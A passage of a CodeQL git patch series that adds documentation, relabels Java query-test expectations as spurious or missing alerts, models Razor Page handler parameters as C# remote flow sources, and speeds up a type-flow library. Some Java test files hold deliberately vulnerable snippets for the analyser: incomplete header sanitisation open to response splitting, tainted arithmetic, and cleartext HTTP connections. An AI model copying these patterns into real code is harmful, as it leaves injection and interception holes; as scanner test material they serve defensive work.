a/unified/ql/test/library-tests/comments/comments.ql b/unified/ql/test/library-tests/comments/comments.ql new file mode 100644 index 00000000000..db64ff737a7 --- /dev/null +++ b/unified/ql/test/library-tests/comments/comments.ql @@ -0,0 +1,3 @@ +import unified + +query predicate comments(Comment c, string text) { text = c.getCommentText() } diff --git a/unified/ql/test/library-tests/comments/comments.swift b/unified/ql/test/library-tests/comments/comments.swift new file mode 100644 index 00000000000..9f133142ef2 --- /dev/null +++ b/unified/ql/test/library-tests/comments/comments.swift @@ -0,0 +1,11 @@ +// Hello this is swift + +/* + * This is a multi-line comment + * It should be ignored by the parser + */ + +func hello() { + // This is a single-line comment + print("Hello, world!") +} From e81a3bcbc3deb87ac1bab2483e02045538ffa090 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 12 Jun 2026 16:47:00 +0200 Subject: [PATCH 112/143] Unified: Add QLDoc --- unified/ql/lib/codeql/unified/Comments.qll | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/unified/ql/lib/codeql/unified/Comments.qll b/unified/ql/lib/codeql/unified/Comments.qll index c1b1bb9df90..e839af2dbee 100644 --- a/unified/ql/lib/codeql/unified/Comments.qll +++ b/unified/ql/lib/codeql/unified/Comments.qll @@ -1,3 +1,5 @@ +/** Provides classes for working with comments. */ + private import unified /** @@ -5,6 +7,9 @@ private import unified */ class Comment extends TriviaToken { // At the moment, comments are the only type trivia token we extract + /** + * Gets the text inside this comment, not counting the delimeters. + */ string getCommentText() { result = this.getValue().regexpCapture("//(.*)", 1) or From 6000c18c241abb6289d88670316f1668db9e4384 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 12 Jun 2026 16:48:25 +0200 Subject: [PATCH 113/143] Unified: also QLDoc for unified.qll --- unified/ql/lib/unified.qll | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/unified/ql/lib/unified.qll b/unified/ql/lib/unified.qll index 5b073290acf..4f7387ef8f1 100644 --- a/unified/ql/lib/unified.qll +++ b/unified/ql/lib/unified.qll @@ -1,3 +1,7 @@ +/** + * Provides classes for working with the AST, as well as files and locations. + */ + import codeql.Locations import codeql.files.FileSystem import codeql.unified.Ast::Unified From 89c1d66f90567d228446408e822303186349a938 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 12 Jun 2026 21:49:30 +0100 Subject: [PATCH 114/143] Add SPURIOUS and MISSING alerts based on existing comments --- java/ql/test/query-tests/Nullness/B.java | 16 +++---- java/ql/test/query-tests/Nullness/C.java | 14 +++--- .../test/query-tests/UseBraces/UseBraces.java | 44 +++++++++---------- .../semmle/tests/ResponseSplitting.java | 4 +- .../semmle/tests/ArithmeticTainted.java | 4 +- .../security/CWE-190/semmle/tests/Test.java | 6 +-- .../CWE-311/CWE-319/HttpsUrlsTest.java | 20 ++++----- 7 files changed, 54 insertions(+), 54 deletions(-) diff --git a/java/ql/test/query-tests/Nullness/B.java b/java/ql/test/query-tests/Nullness/B.java index 14ff2b35935..bc8b0bac154 100644 --- a/java/ql/test/query-tests/Nullness/B.java +++ b/java/ql/test/query-tests/Nullness/B.java @@ -331,7 +331,7 @@ public class B { x = new Object(); } if(y instanceof String) { - x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive + x.hashCode(); // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } } @@ -341,7 +341,7 @@ public class B { x = new Object(); } if(!(y instanceof String)) { - x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive + x.hashCode(); // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } } @@ -351,7 +351,7 @@ public class B { x = new Object(); } if(y == z) { - x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive + x.hashCode(); // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } Object x2 = null; @@ -359,7 +359,7 @@ public class B { x2 = new Object(); } if(y != z) { - x2.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive + x2.hashCode(); // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } Object x3 = null; @@ -367,7 +367,7 @@ public class B { x3 = new Object(); } if(!(y == z)) { - x3.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive + x3.hashCode(); // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } } @@ -462,7 +462,7 @@ public class B { cur = a[i]; if (!prev) { // correctly guarded by !cur from the _previous_ iteration - x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive + x.hashCode(); // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } else { x = new Object(); } @@ -484,7 +484,7 @@ public class B { t = new Object(); } // correctly guarded by t: null -> String -> Object - x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive + x.hashCode(); // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } } } @@ -573,7 +573,7 @@ public class B { } finally { } } - s.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive + s.hashCode(); // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive // CFG reachability does not distinguish abrupt successors } } diff --git a/java/ql/test/query-tests/Nullness/C.java b/java/ql/test/query-tests/Nullness/C.java index 0ecc0c23f88..bbe2eb597b2 100644 --- a/java/ql/test/query-tests/Nullness/C.java +++ b/java/ql/test/query-tests/Nullness/C.java @@ -6,8 +6,8 @@ public class C { long[][] a2 = null; boolean haveA2 = ix < len && (a2 = a1[ix]) != null; long[] a3 = null; - final boolean haveA3 = haveA2 && (a3 = a2[ix]) != null; // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive - if (haveA3) a3[0] = 0; // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive + final boolean haveA3 = haveA2 && (a3 = a2[ix]) != null; // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // NPE - false positive + if (haveA3) a3[0] = 0; // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // NPE - false positive } public void ex2(boolean x, boolean y) { @@ -18,7 +18,7 @@ public class C { s2 = (s1 == null) ? null : ""; } if (s2 != null) - s1.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive + s1.hashCode(); // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // NPE - false positive } public void ex3(List ss) { @@ -48,7 +48,7 @@ public class C { slice = new ArrayList<>(); result.add(slice); } - slice.add(str); // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive + slice.add(str); // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // NPE - false positive ++index; iter.remove(); } @@ -141,7 +141,7 @@ public class C { public void ex10(int[] a) { int n = a == null ? 0 : a.length; for (int i = 0; i < n; i++) { - int x = a[i]; // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive + int x = a[i]; // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // NPE - false positive if (x > 7) a = new int[n]; } @@ -216,7 +216,7 @@ public class C { if (o1 == o2) { return; } - if (o1.equals(o2)) { // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive + if (o1.equals(o2)) { // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // NPE - false positive return; } } @@ -230,7 +230,7 @@ public class C { public static void ex16(C c) { int[] xs = c.getFoo16() != null ? new int[5] : null; if (c.getFoo16() != null) { - xs[0]++; // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive + xs[0]++; // $ SPURIOUS: Alert[java/dereferenced-value-may-be-null] // NPE - false positive } } diff --git a/java/ql/test/query-tests/UseBraces/UseBraces.java b/java/ql/test/query-tests/UseBraces/UseBraces.java index 0177d68571e..af36436bcca 100644 --- a/java/ql/test/query-tests/UseBraces/UseBraces.java +++ b/java/ql/test/query-tests/UseBraces/UseBraces.java @@ -11,23 +11,23 @@ class UseBraces { int x = 0, y; int[] branches = new int[10]; - + // If-then statement - + if(1==1) { f(); } g(); // No alert - - if(1==1) + + if(1==1) f(); g(); // No alert - + if(1==1) f(); // $ Alert g(); // Alert - + if(1==1) f(); g(); // $ Alert // Alert @@ -41,15 +41,15 @@ class UseBraces { g(); } - + g(); // No alert - + if(1==2) f(); else g(); f(); // No alert - + if(true) { f(); @@ -57,7 +57,7 @@ class UseBraces else f(); // $ Alert g(); // Alert - + if(true) { f(); @@ -91,23 +91,23 @@ class UseBraces if (x != 0) x = 1; // Do-while statement - + do f(); while(false); g(); // No alert - + // For statement for(int i=0; i<10; ++i) { f(); } g(); - + for(int i=0; i<10; ++i) f(); g(); - + for(int i=0; i<10; ++i) f(); // $ Alert g(); // Alert @@ -115,9 +115,9 @@ class UseBraces for(int i=0; i<10; ++i) f(); g(); // $ Alert // Alert - + // Foreach statement - + for( int b : branches) x += b; f(); @@ -140,32 +140,32 @@ class UseBraces if(false) f(); g(); // No alert - + if( true ) if(false) // $ Alert f(); g(); // Alert - + if( true ) ; - else + else if (false) f(); g(); // No alert if( true ) ; - else + else if (false) f(); - g(); // false negative + g(); // $ MISSING: Alert // false negative if( true ) ; else if (false) f(); // $ Alert g(); // Alert - + // Nested combinations if (true) while (x<10) diff --git a/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.java b/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.java index abe71180838..7162c1c3a4d 100644 --- a/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.java +++ b/java/ql/test/query-tests/security/CWE-113/semmle/tests/ResponseSplitting.java @@ -62,10 +62,10 @@ public class ResponseSplitting extends HttpServlet { response.setHeader("h", t.replace('\n', ' ').replace('\r', ' ')); // FALSE NEGATIVE: replace only some line breaks - response.setHeader("h", t.replace('\n', ' ')); + response.setHeader("h", t.replace('\n', ' ')); // $ MISSING: Alert // FALSE NEGATIVE: replace only some line breaks - response.setHeader("h", t.replaceAll("\r", "")); + response.setHeader("h", t.replaceAll("\r", "")); // $ MISSING: Alert // GOOD: replace all linebreaks with a simple regex response.setHeader("h", t.replaceAll("\n", "").replaceAll("\r", "")); diff --git a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.java b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.java index 0167af87497..4c47046d3de 100644 --- a/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.java +++ b/java/ql/test/query-tests/security/CWE-190/semmle/tests/ArithmeticTainted.java @@ -78,7 +78,7 @@ public class ArithmeticTainted { // FALSE NEGATIVE: stillTainted could still be very large, even // after // it has had arithmetic done on it - int output = stillTainted + 100; + int output = stillTainted + 100; // $ MISSING: Alert[java/tainted-arithmetic] } } @@ -107,7 +107,7 @@ public class ArithmeticTainted { } int output = data + 1; } - + { double x= Double.MAX_VALUE; // OK: CWE-190 only pertains to integer arithmetic diff --git a/java/ql/test/query-tests/security/CWE-190/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-190/semmle/tests/Test.java index ed1cf0bbe1f..d274f538754 100644 --- a/java/ql/test/query-tests/security/CWE-190/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-190/semmle/tests/Test.java @@ -84,7 +84,7 @@ class Test { // FALSE POSITIVE: the query check purely based on the type, it // can't try to // determine whether the value may in fact always be in bounds - i += j; // $ Alert[java/implicit-cast-in-compound-assignment] + i += j; // $ SPURIOUS: Alert[java/implicit-cast-in-compound-assignment] } // ArithmeticWithExtremeValues @@ -224,7 +224,7 @@ class Test { // FALSE NEGATIVE: stillLarge could still be very large, even // after // it has had arithmetic done on it - int output = stillLarge + 100; + int output = stillLarge + 100; // $ MISSING: Alert[java/uncontrolled-arithmetic] } } @@ -263,7 +263,7 @@ class Test { // FALSE NEGATIVE: stillLarge could still be very large, even // after // it has had arithmetic done on it - int output = stillLarge + 100; + int output = stillLarge + 100; // $ MISSING: Alert[java/uncontrolled-arithmetic] } } diff --git a/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrlsTest.java b/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrlsTest.java index 362361a7171..4db4abe8c50 100644 --- a/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrlsTest.java +++ b/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrlsTest.java @@ -17,7 +17,7 @@ interface Hello extends java.rmi.Remote { class HelloImpl implements Hello { public static void main(String[] args) { - try { + try { // HttpsUrls { String protocol = "http://"; // $ Source[java/non-https-url] @@ -31,7 +31,7 @@ class HelloImpl implements Hello { OutputStream os = hu.getOutputStream(); hu.disconnect(); } - + { String protocol = "http"; // $ Source[java/non-https-url] URL u = new URL(protocol, "www.secret.example.org", "foo"); @@ -44,7 +44,7 @@ class HelloImpl implements Hello { OutputStream os = hu.getOutputStream(); hu.disconnect(); } - + { String protocol = "http://"; // $ Source[java/non-https-url] // the second URL overwrites the first, as it has a protocol @@ -58,7 +58,7 @@ class HelloImpl implements Hello { OutputStream os = hu.getOutputStream(); hu.disconnect(); } - + { String protocol = "https://"; URL u = new URL(protocol + "www.secret.example.org/"); @@ -70,7 +70,7 @@ class HelloImpl implements Hello { OutputStream os = hu.getOutputStream(); hu.disconnect(); } - + { String protocol = "https"; URL u = new URL(protocol, "www.secret.example.org", "foo"); @@ -82,27 +82,27 @@ class HelloImpl implements Hello { OutputStream os = hu.getOutputStream(); hu.disconnect(); } - + { - String protocol = "http"; // $ Source[java/non-https-url] + String protocol = "http"; // $ SPURIOUS: Source[java/non-https-url] URL u = new URL(protocol, "internal-url", "foo"); // FALSE POSITIVE: the query has no way of knowing whether the url will // resolve to somewhere outside the internal network, where there // are unlikely to be interception attempts - HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); // $ Alert[java/non-https-url] + HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); // $ SPURIOUS: Alert[java/non-https-url] hu.setRequestMethod("PUT"); hu.connect(); OutputStream os = hu.getOutputStream(); hu.disconnect(); } - + { String input = "URL is: http://www.secret-example.org"; String url = input.substring(8); URL u = new URL(url); // FALSE NEGATIVE: we cannot tell that the substring results in a url // string - HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); + HttpsURLConnection hu = (HttpsURLConnection) u.openConnection(); // $ MISSING: Alert[java/non-https-url] hu.setRequestMethod("PUT"); hu.connect(); OutputStream os = hu.getOutputStream(); From 4bc083fd7f87e780170f5c42bd9ee8a589bddda0 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 12 Jun 2026 21:51:27 +0100 Subject: [PATCH 115/143] Remove confusing comments --- .../test/query-tests/UseBraces/UseBraces.java | 28 +++++++++---------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/java/ql/test/query-tests/UseBraces/UseBraces.java b/java/ql/test/query-tests/UseBraces/UseBraces.java index af36436bcca..1e5487f1f7b 100644 --- a/java/ql/test/query-tests/UseBraces/UseBraces.java +++ b/java/ql/test/query-tests/UseBraces/UseBraces.java @@ -26,10 +26,10 @@ class UseBraces if(1==1) f(); // $ Alert - g(); // Alert + g(); if(1==1) - f(); g(); // $ Alert // Alert + f(); g(); // $ Alert // If-then-else statement @@ -56,14 +56,14 @@ class UseBraces } else f(); // $ Alert - g(); // Alert + g(); if(true) { f(); } else - f(); g(); // $ Alert // Alert + f(); g(); // $ Alert // While statement @@ -80,11 +80,11 @@ class UseBraces while(bb ) f(); // $ Alert - g(); // Alert + g(); g(); // No alert while(bb ) - f(); g(); // $ Alert // Alert + f(); g(); // $ Alert while(bb) @@ -110,10 +110,10 @@ class UseBraces for(int i=0; i<10; ++i) f(); // $ Alert - g(); // Alert + g(); for(int i=0; i<10; ++i) - f(); g(); // $ Alert // Alert + f(); g(); // $ Alert // Foreach statement @@ -130,10 +130,10 @@ class UseBraces for( int b : branches) f(); // $ Alert - g(); // Alert + g(); for( int b : branches) - f(); g(); // $ Alert // Alert + f(); g(); // $ Alert // Nested ifs if( true ) @@ -144,7 +144,7 @@ class UseBraces if( true ) if(false) // $ Alert f(); - g(); // Alert + g(); if( true ) ; @@ -164,7 +164,7 @@ class UseBraces ; else if (false) f(); // $ Alert - g(); // Alert + g(); // Nested combinations if (true) @@ -175,7 +175,7 @@ class UseBraces if (true) while (x<10) // $ Alert f(); - g(); // Alert + g(); while (x<10) if (true) @@ -185,7 +185,7 @@ class UseBraces while (x<10) if (true) // $ Alert f(); - g(); // Alert + g(); if (true) f(); From ce9e61dbfd5309e4f7fa3e9e44f6223eaa829f23 Mon Sep 17 00:00:00 2001 From: Chad Bentz <1760475+felickz@users.noreply.github.com> Date: Fri, 12 Jun 2026 19:50:12 -0400 Subject: [PATCH 116/143] C#: Add Razor Page handler method parameters as remote flow sources ASP.NET Core Razor Page handler method parameters (OnGet, OnPost, etc.) were not modeled as remote flow sources, causing security queries like SQL injection to miss vulnerabilities in PageModel subclasses. This adds AspNetCorePageHandlerMethodParameter, analogous to the existing AspNetCoreActionMethodParameter for MVC controllers, using the existing PageModelClass.getAHandlerMethod() from Razor.qll. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../security/dataflow/flowsources/Remote.qll | 17 +++++++++++ .../aspremote/AspRemoteFlowSource.cs | 28 +++++++++++++++++++ .../aspremote/aspRemoteFlowSource.expected | 7 +++++ 3 files changed, 52 insertions(+) diff --git a/csharp/ql/lib/semmle/code/csharp/security/dataflow/flowsources/Remote.qll b/csharp/ql/lib/semmle/code/csharp/security/dataflow/flowsources/Remote.qll index aa8c8536556..68c06a1828d 100644 --- a/csharp/ql/lib/semmle/code/csharp/security/dataflow/flowsources/Remote.qll +++ b/csharp/ql/lib/semmle/code/csharp/security/dataflow/flowsources/Remote.qll @@ -13,6 +13,7 @@ private import semmle.code.csharp.frameworks.system.web.ui.WebControls private import semmle.code.csharp.frameworks.WCF private import semmle.code.csharp.frameworks.microsoft.Owin private import semmle.code.csharp.frameworks.microsoft.AspNetCore +private import semmle.code.csharp.frameworks.Razor private import semmle.code.csharp.dataflow.internal.ExternalFlow private import semmle.code.csharp.security.dataflow.flowsources.FlowSources @@ -314,6 +315,22 @@ class AspNetCoreActionMethodParameter extends AspNetCoreRemoteFlowSource, DataFl override string getSourceType() { result = "ASP.NET Core MVC action method parameter" } } +/** A parameter to a Razor Page handler method, viewed as a source of remote user input. */ +class AspNetCorePageHandlerMethodParameter extends AspNetCoreRemoteFlowSource, + DataFlow::ParameterNode +{ + AspNetCorePageHandlerMethodParameter() { + exists(Parameter p | + p = this.getParameter() and + p.fromSource() + | + p = any(PageModelClass pm).getAHandlerMethod().getAParameter() + ) + } + + override string getSourceType() { result = "ASP.NET Core Razor Page handler method parameter" } +} + private class ExternalRemoteFlowSource extends RemoteFlowSource { ExternalRemoteFlowSource() { sourceNode(this, "remote") } diff --git a/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/AspRemoteFlowSource.cs b/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/AspRemoteFlowSource.cs index e554f25f206..8507d60cd39 100644 --- a/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/AspRemoteFlowSource.cs +++ b/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/AspRemoteFlowSource.cs @@ -63,4 +63,32 @@ namespace Testing { public void MyActionMethod(string param) { } } + + // Razor Page handler tests + public class MyPageModel : Microsoft.AspNetCore.Mvc.RazorPages.PageModel + { + // BAD: handler method parameters are user-controlled + public void OnGet(string id) { } + + public void OnPost(string command, int count) { } + + public void OnPostAsync(string data) { } + + public void OnPut(string value) { } + + public void OnDelete(string itemId) { } + + // GOOD: not a handler method (doesn't start with On) + public void GetUser(string userId) { } + + // GOOD: marked with NonHandler attribute + [Microsoft.AspNetCore.Mvc.RazorPages.NonHandlerAttribute] + public void OnGetNonHandler(string param) { } + } + + // Subclass of a PageModel subclass + public class DerivedPageModel : MyPageModel + { + public void OnPost(string derivedParam) { } + } } diff --git a/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/aspRemoteFlowSource.expected b/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/aspRemoteFlowSource.expected index d729eb939d2..ef7a8f3cd78 100644 --- a/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/aspRemoteFlowSource.expected +++ b/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/aspRemoteFlowSource.expected @@ -14,3 +14,10 @@ remoteFlowSources | AspRemoteFlowSource.cs:54:69:54:82 | mapDeleteParam | | AspRemoteFlowSource.cs:56:41:56:44 | item | | AspRemoteFlowSource.cs:64:43:64:47 | param | +| AspRemoteFlowSource.cs:71:34:71:35 | id | +| AspRemoteFlowSource.cs:73:35:73:41 | command | +| AspRemoteFlowSource.cs:73:48:73:52 | count | +| AspRemoteFlowSource.cs:75:40:75:43 | data | +| AspRemoteFlowSource.cs:77:34:77:38 | value | +| AspRemoteFlowSource.cs:79:37:79:42 | itemId | +| AspRemoteFlowSource.cs:92:35:92:46 | derivedParam | From 23567eba3db7e45b2b56f94983ff231549b3bc3a Mon Sep 17 00:00:00 2001 From: Chad Bentz <1760475+felickz@users.noreply.github.com> Date: Fri, 12 Jun 2026 19:53:00 -0400 Subject: [PATCH 117/143] C#: Add change note for Razor Page handler flow sources Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../lib/change-notes/2026-06-12-razor-page-handler-sources.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/lib/change-notes/2026-06-12-razor-page-handler-sources.md diff --git a/csharp/ql/lib/change-notes/2026-06-12-razor-page-handler-sources.md b/csharp/ql/lib/change-notes/2026-06-12-razor-page-handler-sources.md new file mode 100644 index 00000000000..aca9d7631cd --- /dev/null +++ b/csharp/ql/lib/change-notes/2026-06-12-razor-page-handler-sources.md @@ -0,0 +1,4 @@ +--- +category: majorAnalysis +--- +* Added Razor Page handler method parameters (e.g., `OnGet`, `OnPost`, `OnPostAsync`) as remote flow sources, enabling security queries such as `cs/sql-injection` to detect vulnerabilities in `PageModel` subclasses. From 651770b4126e6b8fce4ecd0cfee6245ec4897225 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 15 Jun 2026 10:26:47 +0200 Subject: [PATCH 118/143] Java: Fix performance issue in type flow library --- .../semmle/code/java/dataflow/TypeFlow.qll | 31 ++++++++++++++++ .../security/ListOfConstantsSanitizer.qll | 2 ++ shared/typeflow/codeql/typeflow/TypeFlow.qll | 6 ++++ .../codeql/typeflow/UniversalFlow.qll | 35 +++++++++++++++++-- .../codeql/typeflow/internal/TypeFlowImpl.qll | 2 ++ 5 files changed, 73 insertions(+), 3 deletions(-) diff --git a/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll b/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll index 2c04a6413eb..6627b3ed004 100644 --- a/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll +++ b/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll @@ -72,6 +72,35 @@ module FlowStepsInput implements UniversalFlow::UniversalFlowInput { } } + private class FlowNodeElement extends Element { + FlowNodeElement() { + this instanceof Field or + this instanceof Expr or + this instanceof Method + } + } + + private predicate id(FlowNodeElement x, FlowNodeElement y) { x = y } + + private predicate idOf(FlowNodeElement x, int y) = equivalenceRelation(id/2)(x, y) + + int getFlowNodeId(FlowNode n) { + n = + rank[result](FlowNode n0, int a, int b | + a = 0 and + idOf(any(n0.asField()), b) + or + // no case for `n0.asSsa()`; here we rely on the built-in location-based ranking + a = 1 and + idOf(any(n0.asExpr()), b) + or + a = 2 and + idOf(any(n0.asMethod()), b) + | + n0 order by a, b + ) + } + private SrcCallable viableCallable_v1(Call c) { result = viableImpl_v1(c) or @@ -165,6 +194,8 @@ private module Input implements TypeFlowInput { class TypeFlowNode = FlowNode; + predicate getTypeFlowNodeId = FlowStepsInput::getFlowNodeId/1; + predicate isExcludedFromNullAnalysis = FlowStepsInput::isExcludedFromNullAnalysis/1; class Type = RefType; diff --git a/java/ql/lib/semmle/code/java/security/ListOfConstantsSanitizer.qll b/java/ql/lib/semmle/code/java/security/ListOfConstantsSanitizer.qll index c8d52f4191c..b00c5c99405 100644 --- a/java/ql/lib/semmle/code/java/security/ListOfConstantsSanitizer.qll +++ b/java/ql/lib/semmle/code/java/security/ListOfConstantsSanitizer.qll @@ -170,6 +170,8 @@ private class EmptyCollectionConstructor extends Constructor { private module CollectionFlowStepsInput implements UniversalFlow::UniversalFlowInput { import FlowStepsInput + predicate getFlowNodeId = FlowStepsInput::getFlowNodeId/1; + /** * Holds if `n2` is a collection/array/constant whose value(s) are * determined completely from the range of `n1` nodes. diff --git a/shared/typeflow/codeql/typeflow/TypeFlow.qll b/shared/typeflow/codeql/typeflow/TypeFlow.qll index 52a91197409..87840fb4d64 100644 --- a/shared/typeflow/codeql/typeflow/TypeFlow.qll +++ b/shared/typeflow/codeql/typeflow/TypeFlow.qll @@ -29,6 +29,12 @@ signature module TypeFlowInput { Location getLocation(); } + /** + * Gets an identifier for node `n`, if any. When not implemented for a given node, + * the library will use location-based ranking. + */ + default int getTypeFlowNodeId(TypeFlowNode n) { none() } + /** * Holds if data can flow from `n1` to `n2` in one step. * diff --git a/shared/typeflow/codeql/typeflow/UniversalFlow.qll b/shared/typeflow/codeql/typeflow/UniversalFlow.qll index e5f07690a18..9387cc06312 100644 --- a/shared/typeflow/codeql/typeflow/UniversalFlow.qll +++ b/shared/typeflow/codeql/typeflow/UniversalFlow.qll @@ -45,6 +45,12 @@ signature module UniversalFlowInput { Location getLocation(); } + /** + * Gets an identifier for node `n`, if any. When not implemented for a given node, + * the library will use location-based ranking. + */ + default int getFlowNodeId(FlowNode n) { none() } + /** * Holds if data can flow from `n1` to `n2` in one step. * @@ -149,17 +155,40 @@ module Make I> { private module RankEdge implements RankedEdge { private import E + private int getFlowNodeIdByLoc(FlowNode n) { + n = + rank[result](FlowNode n0, string filePath, int startline, int startcolumn | + not exists(getFlowNodeId(n0)) and + n0.getLocation().hasLocationInfo(filePath, startline, startcolumn, _, _) + | + n0 order by filePath, startline, startcolumn + ) + } + + private int getFlowNodeIdExt(FlowNode n) { + n = + rank[result](FlowNode n0, int a, int b | + a = 0 and + b = getFlowNodeId(n0) + or + a = 1 and + b = getFlowNodeIdByLoc(n0) + | + n0 order by a, b + ) + } + /** * Holds if `r` is a ranking of the incoming edges `(n1,n2)` to `n2`. The used * ordering is not necessarily total, so the ranking may have gaps. */ private predicate edgeRank1(int r, FlowNode n1, Node n2) { n1 = - rank[r](FlowNode n, int startline, int startcolumn | + rank[r](FlowNode n, int id | edge(n, n2) and - n.getLocation().hasLocationInfo(_, startline, startcolumn, _, _) + id = getFlowNodeIdExt(n) | - n order by startline, startcolumn + n order by id ) } diff --git a/shared/typeflow/codeql/typeflow/internal/TypeFlowImpl.qll b/shared/typeflow/codeql/typeflow/internal/TypeFlowImpl.qll index 437e1ab3199..71b530b143e 100644 --- a/shared/typeflow/codeql/typeflow/internal/TypeFlowImpl.qll +++ b/shared/typeflow/codeql/typeflow/internal/TypeFlowImpl.qll @@ -12,6 +12,8 @@ module TypeFlow I> { private module UfInput implements UniversalFlow::UniversalFlowInput { class FlowNode = TypeFlowNode; + predicate getFlowNodeId = I::getTypeFlowNodeId/1; + predicate step = I::step/2; predicate isNullValue = I::isNullValue/1; From 568de02e98e0ac000febf5e02fd3a6968aa53710 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 15 Jun 2026 10:58:48 +0200 Subject: [PATCH 119/143] Update shared/typeflow/codeql/typeflow/UniversalFlow.qll Co-authored-by: Anders Schack-Mulligen --- shared/typeflow/codeql/typeflow/UniversalFlow.qll | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/shared/typeflow/codeql/typeflow/UniversalFlow.qll b/shared/typeflow/codeql/typeflow/UniversalFlow.qll index 9387cc06312..ddf01e7dd8b 100644 --- a/shared/typeflow/codeql/typeflow/UniversalFlow.qll +++ b/shared/typeflow/codeql/typeflow/UniversalFlow.qll @@ -155,9 +155,12 @@ module Make I> { private module RankEdge implements RankedEdge { private import E + private predicate needsNodeId(FlowNode n) { edge(n, _) } + private int getFlowNodeIdByLoc(FlowNode n) { n = rank[result](FlowNode n0, string filePath, int startline, int startcolumn | + needsNodeId(n0) and not exists(getFlowNodeId(n0)) and n0.getLocation().hasLocationInfo(filePath, startline, startcolumn, _, _) | @@ -168,6 +171,7 @@ module Make I> { private int getFlowNodeIdExt(FlowNode n) { n = rank[result](FlowNode n0, int a, int b | + needsNodeId(n0) and a = 0 and b = getFlowNodeId(n0) or From d0841d2283b26120db913a4dbb5ce8d0942c2fe9 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 15 Jun 2026 11:04:59 +0200 Subject: [PATCH 120/143] C#: Address review comments. --- csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll | 2 +- csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll index 1bd81e2ac93..cc31883c646 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll @@ -144,7 +144,7 @@ class AssignSubExpr extends AssignArithmeticExpr, SubOperation, @assign_sub_expr } /** - * An multiplication assignment expression, for example `x *= y`. + * A multiplication assignment expression, for example `x *= y`. */ class AssignMulExpr extends AssignArithmeticExpr, 